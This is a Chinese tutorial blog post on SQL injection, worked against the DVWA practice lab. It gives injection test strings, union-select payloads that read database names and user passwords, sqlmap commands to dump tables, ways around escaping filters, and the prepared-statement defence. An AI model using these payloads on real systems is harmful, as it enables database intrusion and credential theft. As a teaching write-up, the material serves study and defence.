常见的网站漏洞——SQL注入

2023-11-05

1、SQL注入

  • 在输入的字符串中注入SQL指令,而在设计不良的程序中忽略了字符检查,数据库服务器就会认为这些指令是正常的SQL指令而运行。(改变原有的SQL语句)

2、SQL是什么?

  • SQL是结构化查询语言,用于操控数据库的语言。

3、如何判断存在SQL注入漏洞?

  • 正常从数据库中查询数据:
    select ticket_num from Movie_data where movie_name='长津湖'; 
    // 从电影信息数据库中查询电影名称为长津湖的票房数据
  • 黑客怎么做:
    • select ticket_num from Movie_data where movie_name='长津湖' order by 1 #';
    • 输入的数据为:长津湖' order by 1 #
    • 【注】#的作用是注释后续SQL语句。
    • 该语句不仅查询了长津湖票房,还执行了order by 1。
  • 例如:
    • 源代码:
      SELECT first_name, last_name FROM users WHERE user_id = '$id'; 
      // $id为用户输入的内容
    • SQL注入尝试:
      SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; 
      // 在原有查询完成后会判断1=1(正确),判断正确才会有输出
      SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#'; 
      // 1=2判断错误,不输出
      // 两次输入,证明SQL语句生效,存在SQL注入漏洞。

4、如何利用SQL注入漏洞?

  • 判断列/字段数 order by [column_num],例如:
    1' order by 1# // 正常输出
    1' order by 2# // 正常输出
    1' order by 3# // 网页报错
    // 证明该数据库表有2列/字段,即存在SQL注入漏洞。
  • 联合查询其他信息 union select [sql1] [sql2],例如:
    1' union select user(),database()#
    • 【注】union联合查询:一次查询两个。
    • 执行了MySQL内置函数user()和database()。
      • user():返回当前数据库连接用户。
      • database():返回当前数据库名称。
  • 联合查询表 union select table_name,table_schema from information_schema.tables where table_schema = '[database_name]',例如:
    1' union select table_name,table_schema from information_schema.tables 
    where table_schema = 'dvwa'#
     // 查询dvwa数据库中有哪些表。
  • 联合查询信息 union [query_sql],例如:
    1' union select user,password from users#
    // 从users表中查询用户名和密码。

5、SQLmap

  • SQLmap能把复杂的SQL注入语句自动化利用。
  • 官网:sqlmap.org
  • 下载使用方法:
    • 下载源代码,直接使用python运行sqlmap.py。
    • 安装kali操作系统,kali自带sqlmap,可直接输入sqlmap执行。
  • 过程:
    • 检测漏洞
      • python sqlmap.py -u "..." --cookie= "..."
      • -u:url地址,即需要检测的网站。
      • --cookie:某些网站可能需要登录,可在浏览器控制台(F12)的网络中查看请求消息头中获取cookie。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie= "PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low"
    • 获取数据库名
      • 在之前的语句后加上--dbs
      • --dbs:获取所有数据库名。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie= "PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" --dbs
    • 获取指定数据库表
      •  在之前的语句后加上-D 数据库名 --tables
      • --D:Database指定想要获取的数据库名为dvwa。
      •  --tables:列出数据库表。
      •  例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" 
        -D dvwa --tables
    • 获取指定数据库列/表项
      • 在之前的语句后加上-D 数据库名 -T 表名 --columns
      • -T:指定想要获取的表名为users。
      • --columns:列出表项/列。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" 
        -D dvwa -users --columns
    • 获取数据
      • 在之前的语句后加上-D 数据库名 -T 表名 --dump
      • --dump:获取数据。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" 
        -D dvwa -users --dump
        // 可选择是否爆破加密密码。

6、SQL注入防御

  • 方法:过滤用户输入内容,不让数据sql语句,即将特殊符号替换成空,或判断用户输入SQL语句就终止执行。
  • medium中级防御
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 
    // 转义字符串中的特殊字符
    • 即将:
      1' union select table_name,table_schema from information_schema.tables 
      where table_schema = 'dvwa'# 
    • 转换为:
      1\' union select table_name,table_schema from information_schema.tables 
      where table_schema = \'dvwa\'# // 在特殊字符前加上反斜杠
    • 破解方法:
      • 将'dvwa'替换为database(),例:
        1 union select table_name,table_schema from information_schema.tables 
        where table_schema = database()# 
      • 将'dvwa'替换为0x64767761(dvwa的十六进制),例:
        1 union select table_name,table_schema from information_schema.tables 
        where table_schema = 0x64767761# 
  • high高级防御
    $query  = "SELECT first_name, last_name FROM users 
                WHERE user_id = '$id' LIMIT 1;"; 
    // 添加限制,但是缺少传入数据的过滤,无法防御注入漏洞
  • impossible防御
    • 使用PDO:PHP Data Object,配合正确的过滤和SQL语句能避免SQL注入。
    • 例如:
      if(is_numeric( $id )) { // 判断输入是否为数字
          $id = intval ($id); // 获取输入中的数字,再次确认输入是否为数字
          switch ($_DVWA['SQLI_DB']) {
              case MYSQL:
              $data = $db->prepare( 'SELECT first_name, last_name FROM users 
                      WHERE user_id = (:id) LIMIT 1;' ); // 进行SQL语句预处理
              // 绑定输入参数,并再次指定为整型,PDO
              $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
              $data->execute();
              $row = $data->fetch();
              ...
          }
          ...
      }
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

常见的网站漏洞——SQL注入 的相关文章

  • 编写shell脚本实现tomcat定时重启的方法

    我的环境是 centos 7 1 在某个目录新建一个 sh 脚本文件 一般cron安装在var spool cron这里 于是我就将脚本创建在这 vim var spool cron tomcatStart sh 2 在 tomcatSta
  • 数据结构复习总结

    第一章 绪论 这里介绍了数据结构的基本概念和术语 以及算法和算法时间复杂度的分析方法 主要内容如下 1 数据结构是一门研究非数值计算程序设计中操作对象 以及这些对象之间的关系和操作的学科 2 数据结构包括两个方面的内容 数据的逻辑结构和存储
  • 挖矿kdevtmpfsi病毒处理

    通过top命令可以看到kdevtmpfsi导致CPU 700 多 导致该病毒只要是通过redis漏洞进来的 1 该病毒还有守护进程 如果光kill掉该病毒 过段时间又起来的 守护进程 kinsing 2 该病毒还有定时任务 如果光杀死kde
  • android中实现登录功能实现原理,用一个最简单的登录例子来了解Android的MVC和MVP架构的原理和实现...

    在目前的Android开发中 MVP与MVC架构还有MVVM都非常流行 三者在不同的场景下都有各自的优势和劣势 一般而言会根据具体的业务场景来选择不同的模式 所以并不是说开发一个App一定完全遵循那种模式 完全可以根据业务场景不同混合多种模
  • 书写中断服务函数的时候注意的问题:

    书写中断服务函数的时候注意的问题 1 中断服务函数名尽量用复制 不要自己写 因为只要你写错一个字母 这个函数就变成普通函数了 2 如果中断服务函数是公共入口 进入到中断服务函数后先要查询是哪种中断 3 先清中断标志 然后再做中断处理 不要把
  • python项目之弹球小游戏 2

    Hello 大家好 我们又见面了 本来我是想再拖几天再发布的 可我的良心不允许我这么做 毕竟在 python项目之弹球小游戏 1 中我们只是写了窗口的程序 还没有加入我们的主题元素呢 所以今天 我们就来加入 小球 这个关键因素 小球的图片素
  • Android 获取apk中的所有类

    直接把下面代码放到工具类调用即可 import android content Context import android os Build import android util Log import com duole games s
  • vue移动端适配(px转vw)postcss-px-to-viewport配置

    安装postcss px to viewport npm install postcss px to viewport 根目录新建postcss config js文件 postcss config js文件 module exports

随机推荐

  • FPGA自学之路4(按键消抖)

    先看框图 按键消抖意思就是前面和后面会有一系列信号抖动 中间才是我们要的信号 这里预设中间需要的信号 gt 20ms 用计数器计数 key in低电平就开始计数 高电平就清零 等计数器能计数到M 1 20ms 时输出一个高电平 这个按键消抖
  • Windows在线安装Qt5.15.2教程、Qt组件模块选择

    1 Qt5 15 2安装包 https download qt io 从archive qt里选 2 Qt5 15 2在线安装教程 https blog csdn net Qi 1337 article details 121249717
  • 关于:Error:java:java.lang.ExceptionInInitializerError 问题的解决

    本地运行项目的时候报上面错误 原因是jdk版本过高导致 解决方法步骤如下 idea 1 点击 File Project Structrue 2 把这两个圈起来的选项改成如下 3 保存 再次运行问题解决
  • 冒泡排序、插入排序、希尔排序、选择排序、堆排序、快速排序六大排序详解

    1 冒泡排序 思路 左右相邻的两个数互相比较 大的交换到序列后边 每次遍历排出剩余的最大的数 如下图所示 代码如下 void BubbleSort int a int n n为数组元素个数 int i 0 j 0 for i 0 i lt
  • 【已解决】No qualifying bean of type ‘service.Service‘ available

    Exception in thread main org springframework beans factory NoSuchBeanDefinitionException No qualifying bean of type serv
  • MySql优化实战案例

    文章目录 建立测试表 联合索引第一个字段用范围不走索引 覆盖索引优化 in和or在表数据量比较大的情况会走索引 在表记录不多的情况下会选择全表扫描 like KK 一般情况都会走索引 Order by 和 group by优化 Order
  • [LeetCode] Valid Anagram - 字符串排序比较系列

    题目概述 Given two strings s and t write a function to determine if t is an anagram of s For example s anagram t nagaram ret
  • Matplotlib:Adding an axes using the same arguments as a previous axes

    学习 机器学习实战 kNN时 在使用Matplotlib画图时 发现了一个Warining MatplotlibDeprecationWarning Adding an axes using the same arguments as a
  • discuz手机端修改url

    discuz的站需要做伪静态 修改url 本来是直接在最外层用ob函数来替换 pc端的可以 但是这个方法用在手机端的时候 发现失效 后来发现是手机端的php文件使用了函数清空了缓存 ob end clean source class hel
  • python随机性实验

    20210408 0 引言 在另外一篇文章中说明了在使用深度学习库的时候 实验结果的可复现的属性 深度学习实验结果可复现所需设置 随机数等内容设置 文中提到 如果是用GPU加速的话 那么很可能导致实验无法复现 那么就只能使用CPU 好在手里
  • LeetCode:第302场周赛【总结】

    这场比赛用C 写了两个题 在赛后用python补题收获很多 学习了一些python的内置函数 方法学习源于其他优秀的博主 6120 数组能形成多少数对 A题 思路 方法一 我自己写的算法 先对nums排序 之后遍历数组找相邻的位置是否相同
  • 【Docker】Docker安装

    1 添加内核参数 1 通过实训平台进入到操作系统界面 在 后输入vi etc sysctl conf命令 然后按Enter键 进入编辑模式 示例代码如下 root xxx vi etc sysctl conf 2 编辑配置文件 etc sy
  • 行为型模式-命令模式

    package per mjn pattern command import java util HashMap import java util Map 订单类 public class Order 餐桌号码 private int di
  • cv2 python 获取斑马线_opencv 斑马线,条纹检测

    斑马线检测 基于OpenCV 效果不是很好 设置DEBUG变量为True时会输出每一步图像用于逐帧debug和调参 按下任意键或者按住不放下一步 设为False则只画最后结果图 红色方框是判断为斑马线的滑窗 紫色方框是最终输出的斑马线位置
  • 分享 10 个我常逛的国外技术社区,真的受益匪浅

    经常有小伙伴问 小富 有什么国外的技术社区 博客推荐吗 总有人问 索性我就把自己经常访问的 10 个国外技术社区分享出来 想要玩转这些资源的前提 要么自身外语水平不错 要么找个好的翻译工具 不然 不过 也不要一味的崇拜国外的技术 其实你看一
  • 华为设备添加接口描述

    进入视图视图 system view 进入接口 AC6005 int g0 0 1 添加接口描述 AC6005 GigabitEthernet0 0 1 description Con To S1 返回用户视图 AC6005 Gigabit
  • python学习笔记——hashlib模块

    上篇 https blog csdn net qq 42489308 article details 89813895 hashlib Hash 译做 散列 也有直接音译为 哈希 的 把任意长度的输入 通过某种hash算法 变换成固定长度的
  • Springboot项目bootstrap配置未生效、application.yml未读取bootstrap配置文件参数

    场景 Springboot项目 application yml未读取bootstrap配置文件参数 原因 Springboot项目不读取bootstrap yml配置文件 SpringCloud项目才读取bootstrap yml配置文件
  • 软件程序如何运行的-简述

    开门见山 咱不说废话 你有没有想过 你写的程序 是如何在计算机中运行的吗 比如我们搞Java的 肯定写过这段代码 public class HelloWorld public static void main String args Sys
  • 常见的网站漏洞——SQL注入

    1 SQL注入 在输入的字符串中注入SQL指令 而在设计不良的程序中忽略了字符检查 数据库服务器就会认为这些指令是正常的SQL指令而运行 改变原有的SQL语句 2 SQL是什么 SQL是结构化查询语言 用于操控数据库的语言 3 如何判断存在